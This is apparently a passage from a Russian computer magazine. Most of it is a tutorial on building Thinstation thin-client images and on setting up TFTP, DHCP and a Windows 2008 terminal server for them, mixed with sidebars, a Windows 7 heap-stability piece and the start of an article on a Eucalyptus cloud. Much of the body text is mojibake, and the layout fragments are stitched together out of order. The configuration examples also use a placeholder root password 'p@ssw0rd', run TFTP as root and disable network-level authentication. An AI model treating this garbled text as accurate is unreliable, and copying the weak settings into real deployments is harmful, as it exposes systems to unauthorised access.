Êîíôèãóðàöèÿ äëÿ ñáîðêè êëèåíòà íàõîäèòñÿ â ôàéëå build.
conf. Íè÷åãî ñëîæíîãî ôàéë ñîáîé íå ïðåäñòàâëÿåò, âíóòðè 
íàõîäÿòñÿ çàêîììåíòèðîâàííûå ñòðîêè, ñîîòâåòñòâóþùèå 
ìîäóëÿì (äðàéâåðàì) è ïàêåòàì. Êòî õîòü ðàç ñîáèðàë ÿäðî 
Linux, ñðàçó ïîéìåò, ÷òî ê ÷åìó. Ïðè÷åì, çäåñü âñå íà ïîðÿ-
äîê ïðîùå. Íàïðèìåð:

module agpgart

Åñëè òðåáóåòñÿ çàãðóçèòü ìîäóëü ñ âíåøíåãî èñòî÷íèêà 
èëè ñîçäàòü äèíàìè÷åñêè çàãðóæàåìûé äðàéâåð, òî âìåñòî 
«module» ïèøåì «module_pkg». Äëÿ óäîáñòâà âñå çàïèñè ðàç-

áèòû ïî ãðóïïàì (âèäåî, ñåòåâûå êàðòû è ò.ï.) è äåòàëüíî 
ïðîêîììåíòèðîâàíû. Çíàÿ, êàêîå îáîðóäîâàíèå óñòàíîâëå-

íî íà êëèåíòñêèõ êîìïüþòåðàõ, ìîæíî áåç òðóäà îòðåäàêòè-
ðîâàòü íàñòðîéêè. Ñìîòðèì íà óñòàíîâêè ïî óìîë÷àíèþ:

$ cat build.conf | grep -v ̂ # | grep -v ̂ $

module pcm            # PCMCIA Cards

module serial            # Serial Device Support

module acpi            # Advanced 

Configuration and Power Interface support

package rdesktop  # X RDP client 

for Windows Terminal Services (ver 1.5)

Â îáðàç, ñîçäàííûé èç äåôîëòíîãî êîíôèãà, âêëþ÷åíà ïîä-
äåðæêà ïîïóëÿðíîãî æåëåçà: ñåòü — Realtek 8139, SIS900, 
VIA Rhine, âèäåî — VESA, S3, NVIDIA, ATI, Vmware; èç ôàé-
ëîâûõ ñèñòåì äîñòóïíû FAT32, NTFS, ext2, ext3. Äëÿ ïåðâîãî 
çíàêîìñòâà ñ äèñòðèáóòèâîì ýòîãî âïîëíå äîñòàòî÷íî, íî 
äëÿ ïðèìåíåíèÿ â ðàáî÷åé ñðåäå åãî ïðèäåòñÿ ïîäãîíÿòü 
ïîä ñåáÿ. Ñïèñîê ïàðàìåòðîâ âíóòðè äîñòàòî÷íî áîëüøîé, 
ïîýòîìó ñëåäóåò òåðïåëèâî è âíèìàòåëüíî ïðîéòèñü ïî âñåì 
íàñòðîéêàì, ðàçîáðàòüñÿ è àêòèâèðîâàòü òîëüêî òî, ÷òî 
äåéñòâèòåëüíî íåîáõîäèìî. Ëèøíåå âêëþ÷àòü íå ñòîèò, ýòî 
óâåëè÷èò ðàçìåð îáðàçà, à çíà÷èò, ñèñòåìà áóäåò äîëüøå ðàñ-
ïàêîâûâàòüñÿ ïðè çàãðóçêå è çàáåðåò áîëüøå ÎÇÓ ó êëèåíòîâ. 
×óòü íèæå â ñïèñêå èäóò ïàêåòû, âêëþ÷àåìûå â îáðàç, — çäåñü 
ïîñòóïàåì àíàëîãè÷íî ìîäóëÿì. Åñëè èñïîëüçóåòñÿ äèðåê-
òèâà «package», ïàêåò áóäåò âêëþ÷åí â îñíîâíîé îáðàç; åñëè 

«pkg» — ïàêåò ñîáèðàåòñÿ, íî åãî íóæíî ïîäãðóæàòü îòäåëüíî.
Íå çàáóäü ñíÿòü êîììåíòàðèé ñî ñòðîêè «package keymaps-

ru» è óñòàíîâèòü ïðèëîæåíèÿ, ïðè ïîìîùè êîòîðûõ áóäåì 
ïîäêëþ÷àòüñÿ ê âûáðàííîìó ñåðâåðó — rdesktop, vncviewer, 

nx, ica è ò. ä. Ïîñëåäíèì èäåò ðàçäåë «Miscellaneous 
Parameters»:

$ sudo vi build.conf

### Ïàðîëü root äëÿ êîíñîëè, äîñòóïà ïî telnet/

ssh è VNC-ñåðâèñó

ОДИН ИЗ ОНЛАЙН-СЕРВИСОВ, ПРЕДЛАГАЮ-
ЩИХ СБОРКУ ОБРАЗА THINSTATION

ГЕНЕРИРУЕМ ОБРАЗ ДЛЯ ПРОШИВКИ СЕТЕ-
ВОЙ КАРТЫ

info
• Тонкие клиенты не 
требовательны 
к железу (поскольку 
все вычисления 
выполняет мощный 
сервер) и заточены для 
работы в бездисковом 
режиме (без FDD/
CDROM/HDD).

• В качестве тонкого 
клиента под управ-
лением Thinstation 
может выступать 
любой компьютер на 
базе архитектуры x86 с 
процессором 
не ниже Pentium 100 и 
объемом оперативной 
памяти не менее 16 
Мб.

• Как правило, на 
терминальных 
серверах использу-
ется общесистемное 
программное обеспе-
чение Windows, Linux, 
xBSD, Solaris, а тонкие 
клиенты функциони-
руют под управлением 
Windows CE, Linux или 
xBSD.

• Thinstation — мини-
дистрибутив Linux, 
позволяющий превра-
тить старые компы в 
полноценные бездис-
ковые тонкие клиенты, 
поддерживающие все 
основные протоколы 
подключения: RDP, 
VNC, ICA, X11, Telnet, 
SSH и т.п.

• Thinstation можно 
загружать по сети с по-
мощью Etherboot/PXE 
или со стандартного 
носителя — FDD/CD/
HDD/CF/USB-flash.

INFO

Ñåòåâàÿ çàãðóçêà 
äëÿ ñòàðûõ ìàøèí
Âîçìîæíîñòü âûáîðà ñåòåâîé çàãðóçêè â BIOS ïîÿâèëàñü îòíîñèòåëüíî íåäàâíî, è ñòàðûå êîìïüþòåðû òàêîé âîçìîæ-
íîñòè íå èìåþò. ×òîáû íå èñïîëüçîâàòü ñìåííûå íîñèòåëè èëè õàðä, ëó÷øå ïåðåïðîøèòü ÏÇÓ ñåòåâîé êàðòû. Ãîòîâûé 
îáðàç ìîæíî âçÿòü íà ñàéòå rom-o-matic.net. Äîñòàòî÷íî âûáðàòü â «Choose NIC/ROM type» ìàðêó ÷èïà, èñïîëüçóåìîãî íà 
ñåòåâîé êàðòå, è â ñïèñêå «Choose ROM output format» ôîðìàò ôàéëà. Êðîìå âåðñèé äëÿ ÏÇÓ (.rom), èìåþòñÿ îáðàçû äëÿ 

çàïèñè íà äèñêåòó, áîëâàíêó è USB-flash, à òàêæå äëÿ èñïîëüçîâàíèÿ ñ çàãðóç÷èêàìè LILO/GRUB/SYSLINUX. Åñëè ñ ñåòå-
âîé êàðòîé íå ïîâåçëî, è åå ïðîøèâêó îáíîâèòü íåëüçÿ, òî ìîæíî ïîïðîáîâàòü ïåðåïðîøèòü BIOS ìàòåðèíñêîé ïëàòû 
(åñëè îí íà Flash-ìèêðîñõåìå), èíòåãðèðîâàâ â íåãî PXE-êîä, âçÿòûé ñ ñàéòà rom-o-matic.net.
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param rootpasswd p@ssw0rd

param xorgvncpasswd p@ssw0rd

### Íàñòðîéêè ëîãîòèïà è ðàçðåøåíèå ýêðàíà

param bootlogo true

param bootresolution 1024x768

#param desktop ./background.jpg

### Ôàéë ñ óñòàíîâêàìè

param defaultconfig thinstation.conf.

buildtime

### Èìÿ ìàøèíû äëÿ config/tftp/scp

param basename thinstation

param basepath .

### Ôàéëû äëÿ çàêà÷êè ïàêåòîâ ñ ïîìîùüþ wget, 

äàííûé ïàðàìåòð àêòèâèðóåòñÿ, åñëè ïîäêëþ÷åí 

íóæíûé package, íàïðèìåð, äëÿ "package ica" 

ñðàáîòàåò:

param icaurl http://download2.citrix.com/

files/en/products/client/ica/current/

linuxx86.tar.gz

### HTTP-ñîåäèíåíèÿ ìîæíî óñòàíàâëèâàòü ÷åðåç 

ïðîêñè

#param httpproxy http://192.168.1.2:8080

Òåïåðü, êîãäà ïðîèçâåäåíû âñå íàñòðîéêè, íàáèðàåì:

$ sudo ./build

Ïî îêîí÷àíèè âûïîëíåíèÿ êîìàíäû ðåçóëüòàò ñáîðêè èùè 

â ïîäêàòàëîãàõ boot-images/{etherboot, initrd, iso, loadlin, 
pxe, syslinux}.
Êòî íå õî÷åò óñòàíàâëèâàòü Linux ïðîñòî äëÿ òîãî, ÷òîáû ñî-
çäàòü îáðàç Thinstation, ìîæåò âîñïîëüçîâàòüñÿ îíëàéí-ñåð-
âèñàìè, íàïðèìåð TS-O-Matics (www.thinstation.net/TSoM). 
Äëÿ ðóññêîÿçû÷íûõ ïîëüçîâàòåëåé ïðåäíàçíà÷åí ðåñóðñ 
www.it-advisor.ru/TSoM, â êîòîðîì ïðèëîæåíèÿ, âõîäÿùèå 
â ñîñòàâ Thinstation, èçíà÷àëüíî ëîêàëèçîâàíû. Ïðîñòî çà-
õîäèì, âûáèðàåì/ââîäèì ïàðàìåòðû, ìåíÿåì âíåøíèé âèä 
çàñòàâêè è ñîçäàåì îáðàç. Ïðàâäà, ñ åãî ïîìîùüþ íå óäàñòñÿ 
äîáàâèòü â îáðàç ñâîé ïàêåò.

ФАЙЛЫ НАСТРОЕК THINSTATION Ïðè çàãðóçêå êëèåíò 
Thinstation ñ÷èòûâàåò ðÿä êîíôèãóðàöèîííûõ ôàéëîâ 
(thinstation.conf.*). Ïàðàìåòðû, êîòîðûå â íèõ îïèñûâàþò-
ñÿ, â îáùåì-òî, îäèíàêîâû, îòëè÷àåòñÿ ëèøü èõ íàçíà÷åíèå:
• thinstation.conf.buildtime — çàäàåò ïàðàìåòðû â çàãðóçî÷-
íîì îáðàçå, åãî íóæíî ïîäãîòîâèòü äî ñáîðêè;
• thinstation.conf.network — íàñòðîéêè ïî óìîë÷àíèþ, 
ïîëó÷àåìûå ñ TFTP-ñåðâåðà, ýòîò êîíôèã èñïîëüçóåòñÿ äëÿ 
óñòàíîâêè ïàðàìåòðîâ äëÿ âñåõ òîíêèõ êëèåíòîâ;

• thinstation.hosts — ñîäåðæèò äàííûå î êëèåíòàõ (èìÿ 
êîìïüþòåðà, MAC-àäðåñ, ãðóïïà);

• thinstation.conf.group-<groupname> — ñîâìåñòíî ñ 
thinstation.hosts èñïîëüçóåòñÿ äëÿ îáúåäèíåíèÿ êëèåíòîâ â 

ãðóïïû;
• thinstation.conf-<hostname> — ôàéë äëÿ èíäèâè-

äóàëüíîé íàñòðîéêè êëèåíòà ïî èìåíè êîìïüþòåðà, 

ПОДКЛЮЧАЕМСЯ К УДАЛЕННОЙ СИСТЕМЕ

Если не хочешь 
устанавливать Linux 
просто для того, 
чтобы создать образ 
Thinstation, можно 
воспользоваться 
онлайн-сервисами 
вроде TS-O-Matics: 
www.thinstation.net/
TSoM.

links

HTTP://WWW

• На прилагаемом 
к журналу диске 
найдешь файл 
thinstation.conf.
sample, который мож-
но использовать для 
настроек клиентов 
Thinstation. 

• В видеоролике мы 
покажем, как сгене-
рировать образ для 
Thinstation, познако-
мимся с настройками 
DHCP и TFTP сервера 
в Ubuntu, а затем 
подключимся к RDP 
и SSH сервисам уда-
ленной системы.

dvd

DVD

Ñöåíàðèé çàãðóçêè 
òîíêîãî êëèåíòà
1. Ñåòåâóõà òîíêîãî êëèåíòà ïî ïðîòîêîëó PXE çàïðàøèâàåò ó DHCP-ñåðâåðà ñåòåâûå íàñòðîéêè.

2. DHCP-ñåðâåð, ïîìèìî îñíîâíûõ íàñòðîåê (IP-àäðåñ, ìàñêà ïîäñåòè, äåôîëòíûé øëþç è ò.ä.), âûäàåò IP-àäðåñ TFTP-ñåð-
âåðà è èìÿ îáðàçà äëÿ çàãðóçêè.

3. Êëèåíò ïîäêëþ÷àåòñÿ ê TFTP-ñåðâåðó è ñëèâàåò ôàéë çàãðóç÷èêà PXE.

4. Ñêà÷àííûé PXE-çàãðóç÷èê èñïîëíÿåòñÿ è çàáèðàåò ñ TFTP-ñåðâåðà êîíôèã, â êîòîðîì ïðîïèñàíû èìåíà ôàéëîâ ÿäðà 
Linux (vmlinuz) è îáðàçà ôàéëîâîé ñèñòåìû (initrd).

5. Ïîñëå ðàñïàêîâêè è çàãðóçêè ÿäðà Linux ñ ïîäìîíòèðîâàííûì îáðàçîì ôàéëîâîé ñèñòåìû Thinstation ñíîâà îáðàùà-
åòñÿ ê TFTP-ñåðâåðó äëÿ ñêà÷èâàíèÿ êîíôèãóðàöèîííûõ ôàéëîâ (ñ íàñòðîéêàìè ïîäêëþ÷åíèé, àäðåñàìè òåðìèíàëüíûõ 
ñåðâåðîâ, ê êîòîðûì íóæíî ïîäêëþ÷àòüñÿ, è ò.ä.). Ïîñëå ÷åãî çàïóñêàåò íóæíûé òåðìèíàëüíûé êëèåíò (íàïðèìåð, 
rdesktop) è îæèäàåò îò ïîëüçîâàòåëÿ ââîäà åãî ëîãèíà ñ ïàðîëåì äëÿ ïîäêëþ÷åíèÿ.
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info
• Службы DHCP 
и TFTP должны 
функционировать на 
одной машине!

• При выходе из строя 
сервера или непо-
ладках в сети тонкие 
клиенты превраща-
ются в бесполезные 
ящики.

WARNING
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èñïîëüçóåòñÿ ñîâìåñòíî ñ thinstation.hosts;
• thinstation.conf-<IP-ADDRESS> è thinstation.
conf-<MAC-ADDRESS> — ôàéë èíäèâèäóàëü-
íîé íàñòðîéêè êëèåíòà ñîîòâåòñòâåííî ïî IP- è 
MAC-àäðåñó;
• thinstation.conf.user — êîíôèãóðàöèîííûé 
ôàéë, ñîõðàíÿåìûé íà ëîêàëüíûõ íîñèòå-
ëÿõ (FDD, HDD, USB-flash) â ïîäêàòàëîãå 
thinstation.profile.
Ïðè çàãðóçêå ôàéëû ñ TFTP-ñåðâåðà ñ÷èòûâà-
þòñÿ â òàêîì æå ïîðÿäêå, êàê ïîêàçàíî âûøå, 
ïðèìåíÿåòñÿ ïåðâûé ïîäõîäÿùèé êëèåíòó 
çàãðóæåííûé ôàéë.
Â àðõèâå èìååòñÿ î÷åíü ïðîñòîé âàðèàíò 
øàáëîíà thinstation.conf.buildtime, áîëåå 
ðàñøèðåííóþ âåðñèþ ìîæíî ñêà÷àòü ñ ñàéòà 
ïðîåêòà (thinstation.sf.net/docs/thinstation.
conf.example) èëè íàéòè â îáðàçàõ, ïðåäëàãàå-
ìûõ ïðîåêòàìè nixts.org è www.it-advisor.ru.
Ôàéë thinstation.hosts ñîñòîèò èç îïèñàíèÿ 
èìåíè óçëà, ÌÀÑ-àäðåñà, ãðóïïû è íåîáÿçà-
òåëüíîãî êîììåíòàðèÿ:

$ sudo vi thinstation.hosts

thinstation1 000c29d7a8e1 boss

thinstation2 000c00a5a8e2  

assistant

Òèïè÷íûå network — user ôàéëû âûãëÿäÿò 
ñëåäóþùèì îáðàçîì:

$ sudo vi thinstation.conf.network

### Íå âñåãäà íóæíà ðóññêàÿ ðàñêëàäêà 

("ru")

KEYBOARD_MAP=en_us

SYSLOG_SERVER=local

USB_ENABLED=On

### Èìÿ êîìïüþòåðà, åñëè íå èñïîëü-

çóåòñÿ thinstation.hosts, ñèìâîë '*' 

àâòîìàòè÷åñêè çàìåíÿåòñÿ íà MAC-àä-

ðåñ

NET_HOSTNAME=ts_*

### Îïèñàíèå ñåññèè

SCREEN=0

WORKSPACE=1

AUTOSTART=On

ICONMODE=AUTO

### Ïîäêëþ÷åíèå ïðè ïîìîùè rdesktop 

(ôàéë ìîæåò ñîäåðæàòü îïèñàíèå íå-

ñêîëüêèõ ñåññèé)

SESSION_0_TITLE="Microsoft Terminal 

Server"

SESSION_0_TYPE=rdesktop

SESSION_0_SCREEN=0

SESSION_0_RDESKTOP_

SERVER=192.168.1.100

SESSION_0_RDESKTOP_OPTIONS="-u user 

-a 16 -r sound"

### Íàñòðîéêè ýêðàíà

SCREEN_RESOLUTION="1024x768"

SCREEN_HORIZSYNC="30-65"

SCREEN_VERTREFRESH="75"

### Ìîæíî óêàçàòü íåñêîëüêî âàðèàí-

òîâ, íî óäîáíåå çàôèêñèðîâàòü îïòè-

ìàëüíûé

# SCREEN_RESOLUTION="800x600 | 

1024x768 | *"

### USB-ìûøü, äîïîëíèòåëüíî íóæíî 

àêòèâèðîâàòü "usb-hid" â build.conf

X_MOUSE_DEVICE=/dev/input/mice

Â ïàðàìåòðàõ RDESKTOP_OPTIONS ñëåäóåò 
ó÷èòûâàòü âåðñèþ ñåðâåðà. Òàê, WinNT4 è 
Win2k ïîääåðæèâàþò òîëüêî 8-áèòíûé öâåò (-a 

8), WinXP — 16-áèòíûé (-a 16), Win2k3/Win2k8 
— 24-áèòíûé (-a 24). Õîòÿ èñïîëüçîâàíèå «-a 
24» íà òåðìèíàëàõ ÷àñòî íå èìååò ñìûñëà. Ïîä-

äåðæêà çâóêà «-r sound» ðåàëèçîâàíà, íà÷èíàÿ 
ñ Win2k3. Îñîáîãî âíèìàíèÿ çàñëóæèâàþò 
äèðåêòèâû STORAGE_PATH, STORAGE_SERVER 
è STORAGE_PREFIX, ïðè ïîìîùè êîòîðûõ 
óêàçûâàåòñÿ ïîëíûé ïóòü ê ñîõðàíÿåìîìó 

ïðîôèëþ (ýòî ìîæåò áûòü ëîêàëüíûé äèñê èëè 
ñìîíòèðîâàííûé NFS/SMB-ðåñóðñ).
Åñëè çàãðóçêà Thinstation ïðîèçâîäèòñÿ ñ 

æåñòêîãî èëè äðóãîãî ëîêàëüíîãî äèñêà, è èñ-
ïîëüçóåòñÿ thinstation.conf.user, ñáîðêó ìîæíî 
âûïîëíèòü ñ ïàðàìåòðàìè:

NET_FILE_ENABLED=Off

NET_USE_DHCP=Off

Â ýòîì ñëó÷àå íå áóäåò îñóùåñòâëÿòüñÿ DHCP-
çàïðîñ è ïðîèçâîäèòüñÿ ïîïûòêà ïîëó÷åíèÿ 
êîíôèãîâ ñ TFTP-ñåðâåðà, ÷òî íà ïîðÿäîê 
óñêîðèò çàãðóçêó òîíêîãî êëèåíòà.

НАСТРОЙКА DHCP- И TFTP-СЕРВЕРА Äëÿ 
çàãðóçêè PXE-îáðàçà ñ óäàëåííîé ìàøèíû íàì 
ïîòðåáóåòñÿ êîððåêòíî ðàáîòàþùèå DHCP- è 
TFTP-ñåðâèñû. ÎÑ çíà÷åíèÿ íå èìååò, — ýòî 
ìîæåò áûòü *nix èëè Windows, ãëàâíîå, ÷òîáû 
êòî-òî êîððåêòíî îòâåòèë íà DHCP-çàïðîñ, 
îòïðàâëåííûé ñåòåâîé êàðòîé, è âûäàë ôàéëû 
ïî TFTP. Ïåðâûì äåëîì èíñòàëëèðóåì íóæíûå 
ïàêåòû (ïðèìåð äëÿ Ubuntu):

$ sudo apt-get install xinetd tftpd 

tftp

Çàòåì îáåñïå÷èâàåì àâòîçàïóñê ñåðâèñîâ. Äëÿ 
çàïóñêà TFTP ÷åðåç xinetd ñîçäàåì êîíôèã íà 
îñíîâå øàáëîíà:

$ sudo cp /etc/xinet.d/time /etc/

xinet.d/tftp

Ïðàâèì:

$ sudo vi /etc/xinet.d/tftp

service tftp

{

 socket_type = dgram

 protocol = udp

 wait = yes

 user = root

 server = /usr/sbin/in.tftpd

 ### Êàòàëîã ñ PXE-îáðàçîì

 server_args = -s /srv/tftp

 disable = no

}

Â /etc/xinetd.conf êîììåíòèðóåì ñòðîêó «only_
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from = localhost». Íå çàáûâàåì ïî îêîí÷àíèè 
íàñòðîåê ïåðåçàïóñòèòü xinetd:

$ sudo /etc/init.d/xinetd restart

Êîïèðóåì PXE-îáðàç, ÿäðî, initrd è êàòàëîã ñ 
íàñòðîéêàìè, ñîçäàííûé ïî îêîí÷àíèè ðàáîòû 
build ñêðèïòà, â /srv/tftp:

$ sudo mkdir /srv/tftp

$ sudo cp -vR boot-images/pxe/* /

srv/tftp

Ïðîâåðÿåì ðàáîòîñïîñîáíîñòü TFTP:

$ tftp server.ru

tftp> get pxelinux.0

tftp> quit

Åñëè ôàéë ïîëó÷åí, çíà÷èò, âñå â ïîðÿäêå. Ïåðå-
õîäèì ê íàñòðîéêå DHCP:

$ sudo apt-get install dhcp3-server

Â êàòàëîãå boot-images/pxe íàõîäèòñÿ ãîòîâûé 

øàáëîí dhcpd.sample, êîòîðûé ìîæíî èñïîëü-

çîâàòü ïðè ñîçäàíèè ñâîåãî êîíôèãà DHCP-
ñåðâåðà:

$ SUDO VI /ETC/DHCP3/DHCPD.CONF

### Îïèñûâàåì íàøó ïîäñåòü

subnet 192.168.1.0 netmask 

255.255.255.0 {

 option routers 192.168.1.1;

 option broadcast-address 

192.168.1.255;

}

### Åñëè â ñåòè îáúÿâèòñÿ êëèåíò 

ñ MAC-àäðåñîì 00:0C:29:d3:96:9b, 

íàçíà÷èì åìó IP 192.168.1.150 è ïîä-

ñóíåì çàãðóç÷èê PXE

host term1 {

 hardware ethernet 

00:0C:29:d3:96:9b;

 fixed-address 192.168.1.150;

 filename "pxelinux.0";

}

×òîáû âíåñåííûå èçìåíåíèÿ âñòóïèëè â ñèëó, 
ïåðåçàïóñêàåì DHCP-ñåðâåð:

$ sudo /etc/init.d/dhcp3-server 

restart

НАСТРОЙКА СЕРВЕРА  ТЕРМИНАЛОВ В 
WIN2K8 Îñòàëñÿ ïîñëåäíèé øàã — íàñòðî-
èòü ñåðâèñ, ê êîòîðîìó áóäåì ïîäêëþ÷àòü-
ñÿ. Óñòàíîâêà ðîëè ñëóæáû òåðìèíàëîâ 
ïðîèçâîäèòñÿ ÷åðåç ññûëêó «Äîáàâèòü ðîëè» 
â «Äèñïåò÷åðå ñåðâåðà». Îòìå÷àåì «Ñëóæáû 
òåðìèíàëîâ», çàòåì â ñïèñêå íåîáõîäè-
ìûå ñëóæáû ðîëåé, êàê ìèíèìóì, «Ñåðâåð 
òåðìèíàëîâ» è «Ëèöåíçèðîâàíèå ñëóæá 
òåðìèíàëîâ». Íå çàáûâàåì î íîâîé ôè÷å, 

êîòîðàÿ ïîÿâèëàñü â Win2k8 — «Âåá-äîñòóï 

ê ñëóæáå òåðìèíàëîâ» (TS Web Access), 
ïðè èñïîëüçîâàíèè êîòîðîé ïîëüçîâàòå-
ëè ìîãóò ïîäêëþ÷àòüñÿ ê TS, èñïîëüçóÿ 
âåá-áðàóçåð, è ïîëó÷àòü ñïèñîê äîñòóïíûõ 
ïðèëîæåíèé RemoteApp. ×òîáû âîñïîëüçî-
âàòüñÿ ýòîé âîçìîæíîñòüþ, äîñòàòî÷íî ïðè 
ñáîðêå Thinstation óñòàíîâèòü Firefox. Ïðè 
âûáîðå ìåòîäà àóòåíòèôèêàöèè âûáèðàåì 
«Íå òðåáîâàòü ïðîâåðêó ïîäëèííîñòè íà 
óðîâíå ñåòè». Â ýòîì ñëó÷àå ê ñåðâåðó ñìîãóò 
ïîäêëþ÷àòüñÿ êëèåíòû ñ ëþáîé âåðñèåé, 
â ÷àñòíîñòè, íå áóäåò ïðîáëåì ñ Rdesktop, 
êîòîðûé ïîëíîñòüþ ïîääåðæèâàåò ëèøü 
RDP 5 (÷àñòè÷íî íåêîòîðûå ôóíêöèè RDP 
5.1 è 6), à äëÿ Win2k8 «ðîäíûì» ïðîòîêîëîì 
ÿâëÿåòñÿ RDP 6. Äàëåå ñëåäóåì óêàçàíèÿì 
ìàñòåðà, âûáèðàÿ íàèáîëåå ïîäõîäÿùèå 
ïàðàìåòðû. Íà ýòàïå «Ãðóïïû ïîëüçîâàòå-
ëåé» äîáàâëÿåì ó÷åòíûå çàïèñè ïîëüçîâà-
òåëåé è ãðóïïû, êîòîðûì ðàçðåøåí äîñòóï 
ê TS. Ïî çàâåðøåíèè óñòàíîâêè îòïðàâëÿåì 
òåðìèíàëüíûé ñåðâåð â ðåáóò. Çàãðóæàåì-
ñÿ ñ Thinstation, — ïî õîäó ìîæíî óâèäåòü 
áåãóùèå ñòðî÷êè, ñîîáùàþùèå î ïîëó÷åíèè 
IP-àäðåñà è çàãðóçêå PXE-îáðàçà. Ïîñëå ÷åãî 
âûçûâàåì RDP-êëèåíò ùåë÷êîì ïî çíà÷êó 
íà ðàáî÷åì ñòîëå — ýòî â ñëó÷àå èñïîëüçî-
âàíèÿ ãîòîâîãî îáðàçà; åñëè æå ñîîòâåòñòâó-
þùèå íàñòðîéêè óêàçàíû â thinstation.conf, 
ïîäêëþ÷åíèå ê ñåðâåðó áóäåò ïðîèçâåäåíî 
àâòîìàòè÷åñêè, ïîëüçîâàòåëþ äîñòàòî÷íî 
ââåñòè ñâîé ëîãèí è ïàðîëü.
Äàëüíåéøèå íàñòðîéêè ñëóæáû òåð-
ìèíàëîâ ïðîèçâîäÿòñÿ â «Äèñïåò÷åðå 
ñåðâåðà», â îäíîèìåííîé âêëàäêå. Çäåñü 
ìîæíî ïðîñìîòðåòü ñîáûòèÿ, êîòîðûå 
ïîìîãóò ðàçîáðàòüñÿ â âîçíèêøèõ ïðî-
áëåìàõ. Óäà÷è â òåðìèíàëüíûõ ðàçáîð-
êàõ! z

РЕДАКТИРУЕМ ФАЙЛ BUILD.CONF
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Если нужно охарактеризовать 
Windows 7 в двух словах, то 
самое лучшее определение 
для нее — «правильная систе-
ма». Нет, правда! Запускается 
и работает — быстро, а 
работает — без сбоев. Тут не 
надо быть экспертом, чтобы 
почувствовать разницу. После 
установки RС я практически 
не перегружался (за исклю-
чением ситуаций, когда этого 
требовали обновления). Чтобы 
система зависла — я такого 
не видел ни разу. Тут стоит 
рассказать об одном из серь-
езных нововведений «семер-
ки», которое в виду сложности 
редко попадает в рекламные 

брошюры, но вместе с тем, 
вносит ощутимый вклад в 
то, чтобы система работала 
«как надо». Тебе наверняка 
знакомо понятие Heap (куча) 
— адресное пространство, с 
помощью которого реализова-
на динамическая память. Увы, 
при всей гибкости системы 
неправильная работа памяти 
зачастую вызывает массу про-
блем: переполнение буфера 
(читай статью «Фабрика спло-
итов» в этом номере), непра-
вильное освобождение памяти 
и т.д. Кривое использование 
Heap разработчиками софта 
может означать для пользова-
теля только одно — непремен-

ные падения приложений.
Что сделали в Microsoft? На 
основе анализа сообщений 
об ошибках из Vista, раз-
работчики написали спе-
циальную подсистему, что 
автоматически определяет 
программы, которые падают 
из-за неправильной работы 
с heap'ом, и применяет к ним 
алгоритмы, позволяющие 
избежать распространенных 
ошибок. Другими словами, 
для такой программы сама 
система создает такие усло-
вия, в которых та падает 
реже. Подсистема называется 
Fault Tolerant Heap и поми-
мо настольной Windows 7 

внедрена в Windows Server 
2008R2. Механизм включается 
автоматически для избранных 
приложений, которые «пада-
ют» и которым FTH может 
помочь — система анализиру-
ет crash и принимает об этом 
решение. Можно даже пос-
мотреть активность подсисте-
мы, открыв «Просмотр собы-
тий  Журналы приложений и 
служб  Fault-Tolerant-Heap». 
Понятно, что пользователь 
никогда не задумывается 
о том, как достигается ста-
бильность работы системы, 
однако немалый вклад вносят 
множество подобных FTH-
механизмов. 

ФИШКИ WINDOWS 7: СТАБИЛЬНАЯ РАБОТА
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Любой системный администратор слышал об Amazon EC2, удобнейшей 
системе облачных вычислений, которая позволяет получить любое коли-
чество серверов любой конфигурации с помощью одного клика мышью 
и тут же зайти на них, используя SSH. Достоинства сервиса очевидны, 
как и его цена. Но стоит ли платить, когда такую же систему можно под-
нять на своих машинах за каких-нибудь 30 минут?

По дороге 
с облаками

Ïî ïðàâäå ãîâîðÿ, ìîäåëü îáëà÷íûõ âû÷èñëå-
íèé óðîâíÿ IAAS (Infrastructure As A Service) 
äîñòàòî÷íà ïðèìèòèâíà. Ýòî ïðîñòî çîîïàðê 
ìàøèí, îáúåäèíåííûõ â îáùèé êëàñòåð è 
ïîäêëþ÷åííûõ ê ãîëîâíîìó ñåðâåðó, âûñòàâ-
ëåííîìó âî âíåøíèé ìèð. Íà êàæäîé ìàøèíå 
óñòàíîâëåí Linux ñ ïîääåðæêîé Xen èëè Kvm 
(ñàìà ìàøèíà òàêæå äîëæíà ïîääåðæèâàòü 
àïïàðàòíóþ âèðòóàëèçàöèþ). Ïîëüçîâàòåëü 

äåëàåò çàïðîñ ê ãîëîâíîìó ñåðâåðó î âûäåëåíèè 
íîâîé âèðòóàëüíîé ìàøèíû ñ óêàçàííîé ÎÑ è 

äðóãèìè ïàðàìåòðàìè. Ñåðâåð îáðàáàòûâàåò 
çàïðîñ, âûáèðàåò íàèìåíåå çàãðóæåííóþ ìà-

øèíó (âîçìîæíû è äðóãèå âàðèàíòû, íàïðèìåð, 
RoundRobin), ïðåäîñòàâëÿåò åé îáðàç óêàçàííîé 

ÎÑ è äàåò óêàçàíèå íà ñòàðò. Ìàøèíà çàïóñêàåò 
îáðàç, à ïîëüçîâàòåëþ âîçâðàùàåòñÿ IP-àäðåñ 

åãî âèðòóàëüíîãî ñåðâåðà. Èìåííî òàê ðàáî-
òàåò èíôðàñòðóêòóðà Amazon EC2, à òàêæå åå 
OpenSource-àíàëîã ïîä íàçâàíèåì Eucalyptus.

ЭВКАЛИПТОВОЕ ОБЛАКО Eucalyptus 

ïðåäñòàâëÿåò ñîáîé èíôðàñòðóêòóðó äëÿ 
ðåàëèçàöèè ìîäåëè îáëà÷íûõ âû÷èñëåíèé 
óðîâíÿ IAAS, ê îñîáåííîñòÿì êîòîðîãî ìîæíî 
îòíåñòè ñîâìåñòèìîñòü èíòåðôåéñà óïðàâëå-
íèÿ ñ Amazon EC2 è ïðîñòîòó ðàçâåðòûâàíèÿ 

è êîíôèãóðèðîâàíèÿ. Eucalyptus âåðñèè 1.5.2 
îáëàäàåò ñëåäóþùèìè õàðàêòåðèñòèêàìè:
1. Èíòåðôåéñ, ñîâìåñòèìûé ñ EC2 è S3 (Web-

ñåðâèñû è èíòåðôåéñ Query/REST).
2. Ïîääåðæêà Xen è Kvm.
3. Ïðîñòîòà óñòàíîâêè è ðàçâåðòûâàíèÿ.
4. Ïîääåðæêà áîëüøèíñòâà äèñòðèáóòèâîâ 
Linux (áèíàðíûå ïàêåòû è èñõîäíèêè).

5. Áåçîïàñíîå âçàèìîäåéñòâèå êîìïîíåíòîâ ñ 

èñïîëüçîâàíèåì SOAP è WS-security.
6. Ìèíèìàëüíàÿ ìîäèôèêàöèÿ Linux-
îêðóæåíèÿ.
7. Èíñòðóìåíòû àäìèíèñòðàòîðà îáëàêà äëÿ 
óïðàâëåíèÿ ñèñòåìîé è àêêàóíòèíãà ïîëüçî-
âàòåëåé.
